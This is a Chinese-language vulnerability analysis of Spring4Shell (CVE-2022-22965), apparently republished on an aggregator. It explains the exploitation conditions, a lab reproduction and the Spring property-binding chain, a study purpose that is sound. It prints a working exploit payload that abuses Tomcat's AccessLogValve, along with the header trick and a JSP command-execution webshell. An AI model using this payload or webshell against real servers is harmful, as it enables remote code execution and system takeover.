4

Spring4Shell简析(CVE-2022-22965)

 2 years ago
source link: https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20220414-spring4shell.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Spring4Shell简析(CVE-2022-22965)

继去年年底爆出的Log4shell漏洞在安全圈造成巨大影响的阴影下,今年3月底的Spring4shell(也有叫Spring Beans RCE的)消息刚刚放出,就在坊间流传开来。但由于前一次的某事件,这回漏洞详情来得很平静,也没有听说过有大面积的利用事件产生。这无疑给该漏洞带来很多神秘色彩。
目前网上已有不少的分析文章,此篇仅作为自己学习和理解的记录。看了一圈,发现Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考写的比较好,本文主要是基于这篇文章的复现和个人理解。
这个漏洞基于CVE-2010-1622,是该漏洞的补丁绕过,该漏洞即Spring的参数绑定会导致ClassLoader的后续属性的赋值,最终能够导致RCE。而CVE-2022-22965的利用方式参考了Struts2 S2-020在Tomcat 8下的命令执行分析的方法

漏洞存在条件

  1. JDK 9+
  2. 直接或者间接地使⽤了Spring-beans包(Spring boot等框架都使用了)
  3. Controller通过参数绑定传参,参数类型为非常规类型的对象(比如非String等类型的自定义对象)
  4. Web应用部署方式必须为Tomcat war包部署

参数绑定使程序员编写请求处理时,能够很方便地指定获取的参数以及其类型,并且能够通过请求的参数改变对象的属性

@RestController
public class IndexController {
@RequestMapping("/test")
String test(TestBean testBean){
testBean.setName("My test");
return testBean.getName();

如果这里我们访问url:127.0.0.1:8080/test?name=123,那么testBean对象的name属性将会被赋值为123。

Controller:

@Controller
public class UserController {
@RequestMapping("/addUser")
public @ResponseBody String addUser(User user) {
return "OK";

User.java:

public class User {
private String name;
private Department department;
public String getName() {
return name;
public void setName(String name) {
this.name = name;
public Department getDepartment() {
return department;
public void setDepartment(Department department) {
this.department = department;

Department.java:

public class Department {
private String name;
public String getName() {
return name;
public void setName(String name) {
this.name = name;

当访问/addUser?name=test&department.name=SEC时,user对象的name被赋值为test,并且其成员变量department的name属性被赋值为SEC

环境搭建及复现

选择Spring4Shell PoC Application,加入远程debug相应环境变量。与java 8不同的是,java 9之后的远程调试默认不支持外部IP,需要更改为:

ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,address=*:10087,server=y,suspend=n

http://10.136.127.22:10086/helloworld/greeting

使用自带的exp进行攻击:

python .\exploit.py --url http://10.136.127.22:10086/helloworld/greeting

可以去/usr/local/tomcat/webapps/ROOT看到生成的webshell:

<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>//

首先看Controller,参数绑定了Greeting类的对象greeting:

@Controller
public class HelloController {
@PostMapping("/greeting")
public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
return "hello";

攻击payload为:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

攻击发起的get请求的请求头为:

get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",

简单分析一下,相当于发送了以下参数:

  • class.module.classLoader.resources.context.parent.pipeline.first.pattern=带有某前缀和后缀的[jsp webshell]
  • class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
  • class.module.classLoader.resources.context.parent.pipeline.first.directory=shell的文件名(不含后缀)
  • class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell的储存路径(相对路径,默认为webapps/ROOT)
  • class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(空)

其中的webshell大概为(是个有回显的简单的一句话):

%{prefix}i
java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while((a=in.read(b))!=-1){
out.println(new String(b));
%{suffix}i

该漏洞中,攻击者可以对绑定对象的class属性进行随意赋值,有点像原型链污染。在exp中,是利用class属性来修改Tomcat的⽇志配置,向⽇志中写⼊shell。

一些细节:

这些payload可以分开发送,也可以合并在一次请求中,这些属性的修改是直接影响内存的(像原型链污染),不会像php一样,下一次请求又复原。

为了简化分析流程,我们仅post传入class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp,其他的参数都是类似的。
我们来跟一下参数绑定的解析过程,首先是org\springframework\spring-web\5.3.15\spring-web-5.3.15-sources.jar!\org\springframework\web\bind\WebDataBinder.java#198,在WebDataBinder#doBind方法中:

public class WebDataBinder extends DataBinder {
@Override
protected void doBind(MutablePropertyValues mpvs) {
checkFieldDefaults(mpvs);
checkFieldMarkers(mpvs);
adaptEmptyArrayIndices(mpvs);
super.doBind(mpvs);//跟进此处

跟进去,此处省略n层,到org/springframework/beans/AbstractNestablePropertyAccessor.java#814getPropertyAccessorForPropertyPath方法被传入当前的待解析参数属性,并且尝试解析嵌套的情况,出现嵌套时,从左边开始挨个递归解析,比如此处的属性为class.module.classLoader.resources.context.parent.pipeline.first.suffix,将会解析最左边的class

protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
// Handle nested properties recursively.
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);//进入这里
return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);//递归调用,每次解析一级
else {
return this;

然后继续跟进:

private AbstractNestablePropertyAccessor getNestedPropertyAccessor(String nestedProperty) {
if (this.nestedPropertyAccessors == null) {
this.nestedPropertyAccessors = new HashMap<>();
// Get value of bean property.
PropertyTokenHolder tokens = getPropertyNameTokens(nestedProperty);
String canonicalName = tokens.canonicalName;
Object value = getPropertyValue(tokens); //跟进这里

继续跟进:

@Nullable
protected Object getPropertyValue(PropertyTokenHolder tokens) throws BeansException {
String propertyName = tokens.canonicalName;
String actualName = tokens.actualName;
PropertyHandler ph = getLocalPropertyHandler(actualName);//这里的ph包含了待获取的"class"信息
if (ph == null || !ph.isReadable()) {
throw new NotReadablePropertyException(getRootClass(), this.nestedPath + propertyName);
Object value = ph.getValue(); //跟进这里

此处的ph变量是BeanWrapperImpl对象,该对象装饰了java bean(在这里是Greeting对象),并提供对其属性(这里传入了“class”字符串,获取的是class属性)的获取和更改(get和set),之后调用的ph.getValue();会获取Greeting对象的class属性:跟进去之后,在org/springframework/beans/BeanWrapperImpl.java#getValue中会获取到java.lang.Class java.lang.Object.getClass(),从而使class被解析为java.lang.Object.Class类的对象(具体值为class com.reznok.helloworld.Greeting):

@Override
@Nullable
public Object getValue() throws Exception {
Method readMethod = this.pd.getReadMethod(); // 这一步获取到 java.lang.Class java.lang.Object.getClass()
if (System.getSecurityManager() != null) {
else {
ReflectionUtils.makeAccessible(readMethod);
return readMethod.invoke(getWrappedInstance(), (Object[]) null); //

这里会返回Greeting的class属性。到这里,单次解析过程分析完毕。我们来对照一下过程:我们现在在解析class.module.classLoader.resources.context.parent.pipeline.first.suffix中的class,而当前绑定参数对象为Greeting类的对象,所以实际上是调用了Greeting.getClass()

然后我们来跟下一层解析,即module.classLoader.resources.context.parent.pipeline.first.suffix中的module的解析。我们再来看解析的入口,即递归处,此时的nestedPa为上一步解析出的java.lang.Object.Class对象,根据前一步的分析,这里会尝试获取该对象的module属性,即会调用java.lang.Object.Class.getModule()

protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
// Handle nested properties recursively.
if (pos > -1) {
String nestedProperty = propertyPath.substring(0, pos);
String nestedPath = propertyPath.substring(pos + 1);
AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
//经过第一层的解析,nestedPa变成了java.lang.Object.Class对象
return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);//递归调用,每次解析一级
else {
return this;

此时获取到的是一个java.lang.Module对象。

类似地,依次进行各层的解析,总体解析过程为:

User.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setSuffix()
  • 需要注意的是,最后一层是整个嵌套解析结束后,调用setPropertyValue时会对得到的属性进行赋值。利用时是对org.apache.catalina.AccessLog属性进行赋值。
  • 该过程中,java.lang.Module.getClassLoader()得到org.apache.catalina.loader.ParallelWebappClassLoader这步的跨度较大,这步很关键,在后文war包部署部分会详细介绍。
  • 其他的几个属性解析赋值的过程类似。

Tomcat日志与AccessLogValve

下面我们来详细看一下Tomcat日志相关的部分,首先是exp中设置的几个属性,它们的作用为:

  • pattern:日志的文件内容格式;其中,pattern有一些特殊的语法,比如%{xxx}i表示获取请求的header中的xxx头的值,并将其打印到日志中
  • suffix:日志文件名后缀
  • directory:日志文件路径
  • prefix:日志文件名前缀
  • fileDateFormat:文件名日期后缀,默认为.yyyy-MM-dd

参考:Access Log Valve

为什么攻击时用于产生日志的get请求中,请求的header会有"c": "Runtime"?在pattern中是包含了%{c}i这一格式化记录数据的,所以c的值会被替换为Runtime。只要得到的日志文件没有语法错误,不使用这种方法也能利用成功,但是需要注意的是,http头中的信息在记录到日志文件中时,会对双引号进行转义,而在pattern中直接赋值时不会转义,所以直接在header中传入webshell会导致shell无法成功执行。

为什么部署方式必须为Tomcat war包部署

  • LaunchedURLClassLoader是以jar的形式启动Spring boot的加载器来加载/lib下面的jar,LaunchedURLClassLoader和普通的URLClassLoader的不同之处是,它提供了从Archive里加载.class的能力。参考:spring boot应用启动原理分析
  • 在利用时,存在java.lang.Module.getClassLoader()得到org.apache.catalina.loader.ParallelWebappClassLoader这一步,ParallelWebappClassLoader只能是war包部署时的返回值;如果使用jar包的形式进行部署,则此步获取到的对象是org.springframework.boot.loader.LaunchedURLClassLoader,该类下没有resources成员变量,导致利用链断掉。

为什么要JDK 9+

前面提到,该漏洞是对CVE-2010-1622的绕过,这个绕过是出现在9+之后对模块化的支持上的,在org/springframework/beans/CachedIntrospectionResults.java#CachedIntrospectionResults#289中有对CVE-2010-1622的修复补丁:

public final class CachedIntrospectionResults {
private CachedIntrospectionResults(Class<?> beanClass) throws BeansException {
for (PropertyDescriptor pd : pds) {
if (Class.class == beanClass &&
("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
// Ignore Class.getClassLoader() and getProtectionDomain() methods - nobody needs to bind to those
continue;
if (logger.isTraceEnabled()) {

注意到条件if (Class.class == beanClass && ("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))),该条件的意思是,如果当前的对象的类为Class.class(即java.lang.Class),并且下一个要解析的属性名为classLoaderprotectionDomain,就直接contine,不会再解析该层。而在Spring4shell的绕过中,由于JDK 9+对模块化进行了支持,实现了getModule方法,从而可以通过该方法得到的Module进一步获取classLoader,而不是直接使用Class的getClaasLoader()去获取。

具体来讲就是把

Xxx.getClass()
java.lang.Class.getClassLoader()
Xxx.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()

从而绕过该补丁。

可利用程度

首先,我们假设受害者已满足JDK 9+,并且使用了Spring bean,此外还有一个不是很容易满足的条件:

  • Web应用部署方式必须为Tomcat war包部署(jar的形式则不行

然后,攻击者需要知道存在漏洞的url路由,这和应用的业务息息相关。

所以该漏洞虽然是核弹级,但要在真实情况下找到满足这些条件的情形还是比较少的。这也许能解释为什么漏洞爆出后,在野利用的反响远远不如Log4shell那么大。

  • 该漏洞是在spring bean解析参数绑定时,对对象的class属性进行了赋值造成
  • 该洞的利用过程是查找一系列的getXXX链,然后可以设置其值为任意字符串,exp中通过设置tomcat日志相关属性以写入webshell。这个链的查找过程应该是很有难度的,除了写日志这条链,还可以尝试去发现其他的利用链,但过程应该很难。
  • 该漏洞与原型链污染有相似的地方(污染现有对象的属性达到利用),与python模板注入也有相似的地方(通过链式的形式在对象成员属性或继承链之间跨越,以达到能够利用的属性处)。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK